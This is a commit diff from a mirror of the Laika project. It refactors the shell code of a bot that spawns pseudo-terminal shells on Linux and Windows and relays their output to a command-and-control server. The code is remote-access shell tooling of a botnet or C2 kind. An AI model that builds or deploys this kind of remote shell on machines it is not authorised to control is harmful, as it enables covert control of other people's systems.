mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-24 13:31:05 +00:00
Bot: small shell.[ch] + native refactor
- `struct sLaika_shell` is now a shared struct, `struct sLaika_RAWshell` is the native implementation with `struct sLaika_shell` as it's first member
This commit is contained in:
parent
7d96f3252c
commit
63e36d1ebb
@ -6,7 +6,9 @@
|
|||||||
#define LAIKA_SHELL_TASK_DELTA 50
|
#define LAIKA_SHELL_TASK_DELTA 50
|
||||||
|
|
||||||
struct sLaika_bot;
|
struct sLaika_bot;
|
||||||
struct sLaika_shell;
|
struct sLaika_shell {
|
||||||
|
uint32_t id;
|
||||||
|
};
|
||||||
|
|
||||||
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id);
|
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id);
|
||||||
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
|
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
|
||||||
@ -15,9 +17,6 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
|
|||||||
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id);
|
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id);
|
||||||
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
|
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
|
||||||
|
|
||||||
/* has to be a function since the struct is different depending on the platform */
|
|
||||||
uint32_t laikaB_getShellID(struct sLaika_bot *bot, struct sLaika_shell *shell);
|
|
||||||
|
|
||||||
/* handles reading & writing to shell pipes */
|
/* handles reading & writing to shell pipes */
|
||||||
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
|
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
|
||||||
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length);
|
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length);
|
||||||
|
@ -13,20 +13,20 @@
|
|||||||
#include "bot.h"
|
#include "bot.h"
|
||||||
#include "shell.h"
|
#include "shell.h"
|
||||||
|
|
||||||
struct sLaika_shell {
|
struct sLaika_RAWshell {
|
||||||
|
struct sLaika_shell _shell;
|
||||||
int pid;
|
int pid;
|
||||||
int fd;
|
int fd;
|
||||||
uint32_t id;
|
|
||||||
};
|
};
|
||||||
|
|
||||||
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {
|
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {
|
||||||
struct winsize ws;
|
struct winsize ws;
|
||||||
struct sLaika_shell *shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
|
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)laikaM_malloc(sizeof(struct sLaika_RAWshell));
|
||||||
|
|
||||||
ws.ws_col = cols;
|
ws.ws_col = cols;
|
||||||
ws.ws_row = rows;
|
ws.ws_row = rows;
|
||||||
shell->pid = forkpty(&shell->fd, NULL, NULL, &ws);
|
shell->pid = forkpty(&shell->fd, NULL, NULL, &ws);
|
||||||
shell->id = id;
|
shell->_shell.id = id;
|
||||||
|
|
||||||
if (shell->pid == 0) {
|
if (shell->pid == 0) {
|
||||||
/* child process, clone & run shell */
|
/* child process, clone & run shell */
|
||||||
@ -36,14 +36,16 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
|
|||||||
|
|
||||||
/* make sure our calls to read() & write() do not block */
|
/* make sure our calls to read() & write() do not block */
|
||||||
if (fcntl(shell->fd, F_SETFL, (fcntl(shell->fd, F_GETFL, 0) | O_NONBLOCK)) != 0) {
|
if (fcntl(shell->fd, F_SETFL, (fcntl(shell->fd, F_GETFL, 0) | O_NONBLOCK)) != 0) {
|
||||||
laikaB_freeShell(bot, shell);
|
laikaB_freeShell(bot, (struct sLaika_shell*)shell);
|
||||||
LAIKA_ERROR("Failed to set shell fd O_NONBLOCK");
|
LAIKA_ERROR("Failed to set shell fd O_NONBLOCK");
|
||||||
}
|
}
|
||||||
|
|
||||||
return shell;
|
return (struct sLaika_shell*)shell;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
||||||
|
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
|
||||||
|
|
||||||
/* kill the shell */
|
/* kill the shell */
|
||||||
kill(shell->pid, SIGTERM);
|
kill(shell->pid, SIGTERM);
|
||||||
close(shell->fd);
|
close(shell->fd);
|
||||||
@ -51,39 +53,37 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
|||||||
laikaM_free(shell);
|
laikaM_free(shell);
|
||||||
}
|
}
|
||||||
|
|
||||||
uint32_t laikaB_getShellID(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
|
||||||
return shell->id;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ============================================[[ Shell Handlers ]]============================================= */
|
/* ============================================[[ Shell Handlers ]]============================================= */
|
||||||
|
|
||||||
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
||||||
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];
|
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];
|
||||||
struct sLaika_peer *peer = bot->peer;
|
struct sLaika_peer *peer = bot->peer;
|
||||||
struct sLaika_socket *sock = &peer->sock;
|
struct sLaika_socket *sock = &peer->sock;
|
||||||
|
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
|
||||||
|
|
||||||
int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t));
|
int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t));
|
||||||
|
|
||||||
if (rd > 0) {
|
if (rd > 0) {
|
||||||
/* we read some input! send to cnc */
|
/* we read some input! send to cnc */
|
||||||
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
||||||
laikaS_writeInt(sock, &shell->id, sizeof(uint32_t));
|
laikaS_writeInt(sock, &shell->_shell.id, sizeof(uint32_t));
|
||||||
laikaS_write(sock, readBuf, rd);
|
laikaS_write(sock, readBuf, rd);
|
||||||
laikaS_endVarPacket(peer);
|
laikaS_endVarPacket(peer);
|
||||||
} else if (rd == -1) {
|
} else if (rd == -1) {
|
||||||
if (LN_ERRNO == LN_EWOULD || LN_ERRNO == EAGAIN)
|
if (LN_ERRNO == LN_EWOULD || LN_ERRNO == EAGAIN)
|
||||||
return true; /* recoverable, there was no data to read */
|
return true; /* recoverable, there was no data to read */
|
||||||
/* not EWOULD or EAGAIN, must be an error! so close the shell */
|
/* not EWOULD or EAGAIN, must be an error! so close the shell */
|
||||||
laikaB_freeShell(bot, shell);
|
laikaB_freeShell(bot, _shell);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length) {
|
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, size_t length) {
|
||||||
struct sLaika_peer *peer = bot->peer;
|
struct sLaika_peer *peer = bot->peer;
|
||||||
struct sLaika_socket *sock = &peer->sock;
|
struct sLaika_socket *sock = &peer->sock;
|
||||||
|
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
|
||||||
size_t nLeft;
|
size_t nLeft;
|
||||||
int nWritten;
|
int nWritten;
|
||||||
|
|
||||||
@ -93,7 +93,7 @@ bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char
|
|||||||
/* some error occurred */
|
/* some error occurred */
|
||||||
if (length == nLeft) {
|
if (length == nLeft) {
|
||||||
/* unrecoverable error */
|
/* unrecoverable error */
|
||||||
laikaB_freeShell(bot, shell);
|
laikaB_freeShell(bot, _shell);
|
||||||
return false;
|
return false;
|
||||||
} else { /* recoverable */
|
} else { /* recoverable */
|
||||||
break;
|
break;
|
||||||
|
@ -19,7 +19,7 @@ struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows,
|
|||||||
}
|
}
|
||||||
|
|
||||||
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
||||||
uint32_t id = laikaB_getShellID(bot, shell);
|
uint32_t id = shell->id;
|
||||||
|
|
||||||
/* tell cnc shell is closed */
|
/* tell cnc shell is closed */
|
||||||
laikaS_startOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);
|
laikaS_startOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);
|
||||||
|
@ -8,12 +8,12 @@
|
|||||||
#include <process.h>
|
#include <process.h>
|
||||||
|
|
||||||
/* shells are significantly more complex on windows than linux for laika */
|
/* shells are significantly more complex on windows than linux for laika */
|
||||||
struct sLaika_shell {
|
struct sLaika_RAWshell {
|
||||||
|
struct sLaika_shell _shell;
|
||||||
HANDLE in, out;
|
HANDLE in, out;
|
||||||
PROCESS_INFORMATION procInfo;
|
PROCESS_INFORMATION procInfo;
|
||||||
STARTUPINFOEX startupInfo;
|
STARTUPINFOEX startupInfo;
|
||||||
HPCON pseudoCon;
|
HPCON pseudoCon;
|
||||||
uint32_t id;
|
|
||||||
};
|
};
|
||||||
|
|
||||||
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows);
|
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows);
|
||||||
@ -21,11 +21,11 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
|
|||||||
|
|
||||||
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {;
|
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {;
|
||||||
TCHAR szComspec[MAX_PATH];
|
TCHAR szComspec[MAX_PATH];
|
||||||
struct sLaika_shell* shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
|
struct sLaika_RAWshell* shell = (struct sLaika_RAWshell*)laikaM_malloc(sizeof(struct sLaika_RAWshell));
|
||||||
HRESULT hr;
|
HRESULT hr;
|
||||||
|
|
||||||
ZeroMemory(shell, sizeof(struct sLaika_shell));
|
ZeroMemory(shell, sizeof(struct sLaika_RAWshell));
|
||||||
shell->id = id;
|
shell->_shell.id = id;
|
||||||
|
|
||||||
/* create pty */
|
/* create pty */
|
||||||
hr = CreatePseudoConsoleAndPipes(&shell->pseudoCon, &shell->in, &shell->out, cols, rows);
|
hr = CreatePseudoConsoleAndPipes(&shell->pseudoCon, &shell->in, &shell->out, cols, rows);
|
||||||
@ -73,10 +73,12 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
|
|||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
return shell;
|
return (struct sLaika_shell*)shell;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
||||||
|
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
|
||||||
|
|
||||||
/* kill process (it's ok if it fails) */
|
/* kill process (it's ok if it fails) */
|
||||||
TerminateProcess(shell->procInfo.hProcess, 0);
|
TerminateProcess(shell->procInfo.hProcess, 0);
|
||||||
|
|
||||||
@ -95,10 +97,6 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
|||||||
laikaM_free(shell);
|
laikaM_free(shell);
|
||||||
}
|
}
|
||||||
|
|
||||||
uint32_t laikaB_getShellID(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
|
||||||
return shell->id;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ============================================[[ Shell Handlers ]]============================================= */
|
/* ============================================[[ Shell Handlers ]]============================================= */
|
||||||
|
|
||||||
/* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
|
/* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
|
||||||
@ -163,33 +161,35 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
|
|||||||
return hr;
|
return hr;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
||||||
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];
|
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];
|
||||||
struct sLaika_peer* peer = bot->peer;
|
struct sLaika_peer* peer = bot->peer;
|
||||||
struct sLaika_socket* sock = &peer->sock;
|
struct sLaika_socket* sock = &peer->sock;
|
||||||
|
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
|
||||||
DWORD rd;
|
DWORD rd;
|
||||||
bool readSucc = ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &rd, NULL);
|
bool readSucc = ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &rd, NULL);
|
||||||
|
|
||||||
if (readSucc) {
|
if (readSucc) {
|
||||||
/* we read some input! send to cnc */
|
/* we read some input! send to cnc */
|
||||||
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
||||||
laikaS_writeInt(sock, &shell->id, sizeof(uint32_t));
|
laikaS_writeInt(sock, &shell->_shell.id, sizeof(uint32_t));
|
||||||
laikaS_write(sock, readBuf, rd);
|
laikaS_write(sock, readBuf, rd);
|
||||||
laikaS_endVarPacket(peer);
|
laikaS_endVarPacket(peer);
|
||||||
} else {
|
} else {
|
||||||
if (GetLastError() == ERROR_NO_DATA && WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
|
if (GetLastError() == ERROR_NO_DATA && WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
|
||||||
return true; /* recoverable, process is still alive */
|
return true; /* recoverable, process is still alive */
|
||||||
/* unrecoverable error */
|
/* unrecoverable error */
|
||||||
laikaB_freeShell(bot, shell);
|
laikaB_freeShell(bot, _shell);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length) {
|
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, size_t length) {
|
||||||
struct sLaika_peer* peer = bot->peer;
|
struct sLaika_peer* peer = bot->peer;
|
||||||
struct sLaika_socket* sock = &peer->sock;
|
struct sLaika_socket* sock = &peer->sock;
|
||||||
|
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
|
||||||
size_t nLeft;
|
size_t nLeft;
|
||||||
DWORD nWritten;
|
DWORD nWritten;
|
||||||
|
|
||||||
@ -197,7 +197,7 @@ bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char
|
|||||||
while (nLeft > 0) {
|
while (nLeft > 0) {
|
||||||
if (!WriteFile(shell->out, (void*)buf, length, &nWritten, NULL)) {
|
if (!WriteFile(shell->out, (void*)buf, length, &nWritten, NULL)) {
|
||||||
/* unrecoverable error */
|
/* unrecoverable error */
|
||||||
laikaB_freeShell(bot, shell);
|
laikaB_freeShell(bot, _shell);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -90,10 +90,8 @@ void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat
|
|||||||
type = laikaS_readByte(&peer->sock);
|
type = laikaS_readByte(&peer->sock);
|
||||||
|
|
||||||
/* ignore panel clients */
|
/* ignore panel clients */
|
||||||
if (type == PEER_AUTH) {
|
if (type == PEER_AUTH)
|
||||||
LAIKA_DEBUG("got auth!\n");
|
|
||||||
return;
|
return;
|
||||||
}
|
|
||||||
|
|
||||||
if ((bot = shellC_getPeerByPub(client, pubKey, &id)) == NULL)
|
if ((bot = shellC_getPeerByPub(client, pubKey, &id)) == NULL)
|
||||||
LAIKA_ERROR("LAIKAPKT_AUTHENTICATED_RMV_PEER_RES: Unknown peer!\n");
|
LAIKA_ERROR("LAIKAPKT_AUTHENTICATED_RMV_PEER_RES: Unknown peer!\n");
|
||||||
|
Loading…
Reference in New Issue
Block a user